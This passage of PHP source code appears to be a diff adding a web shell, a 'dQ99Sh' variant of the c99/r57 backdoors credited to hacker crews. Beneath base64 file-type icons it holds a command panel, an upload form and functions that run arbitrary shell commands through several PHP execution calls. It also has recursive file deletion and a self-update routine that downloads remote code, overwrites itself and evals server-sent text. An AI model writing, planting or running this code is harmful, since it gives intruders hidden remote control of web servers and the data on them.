+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSdQ10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7dQ08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LdQ9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDdQ8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"dQEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEdQXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} + natsort($images); + $k = array_keys($images); + echo "
    "; + foreach ($k as $u) {echo $u.":
    ";} + echo "
    "; +} +exit; +} +if ($act == "about") { + echo "
    Credits:
    Idea, leading and coding by tristram [CCTeaM]
    ". + "Beta-testing and some tips by NukLeoN [AnTiSh@Re tEaM]
    ". + "Re-Coding, tricks, html and css by diKi [FeeLCoMz CoMMuNiTy]

    ". + "Report bugs to r57.biz
    "; +} +echo "\n"; +/*** COMMANDS PANEL ***/ +?> +
    .: COMMANDS PANEL :.
    + + + + + + + + + + + + + + + + +
    Command:
    + + + + +
    +
    Quick Commands:
    + + + + +
    +
    Upload:
    + + + +
    +
    PHP Filesystem: + + +\r\n". + "\r\n". + " \r\n". + " \r\n". + "
    \r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "\r\n"; + } + echo "\r\n"; +?> +
    Search File:
    + regexp +
    +
    Create File:
    + Overwrite +
    View File:
    + +
    + + +&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function dQ99exec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = dQ99exec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: ON"; } + else { return "$sup: OFF"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (dQ99exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "".$disablefunc.""; + } + else { return "NONE
    "; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= " "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "".$letter.""; } + $letters .= " "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} +## dQ99Sh UPDATE FUNCTIONS ## +function dQ99getsource($fn) { + global $dQ99sh_sourcesurl; + $array = array( + "dQ99sh.php" => "dQ99sh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($dQ99sh_sourcesurl.$name);} + else {return FALSE;} +} +function dQ99sh_getupdate($update = TRUE) { + $url = $GLOBALS["dQ99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download dQ99shell.php manually here.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function dQ99_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function dQ99_sess_put($data) { + global $sess_cookie; + global $sess_data; + dQ99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +## END dQ99Sh UPDATE FUNCTIONS ## +## FILESYSTEM FUNCTIONS ## +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +## END FILESYSTEM FUNCTIONS ## +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function dQ99shexit() { onphpshutdown(); exit; } + +function dQ99fsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {dQ99fsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = 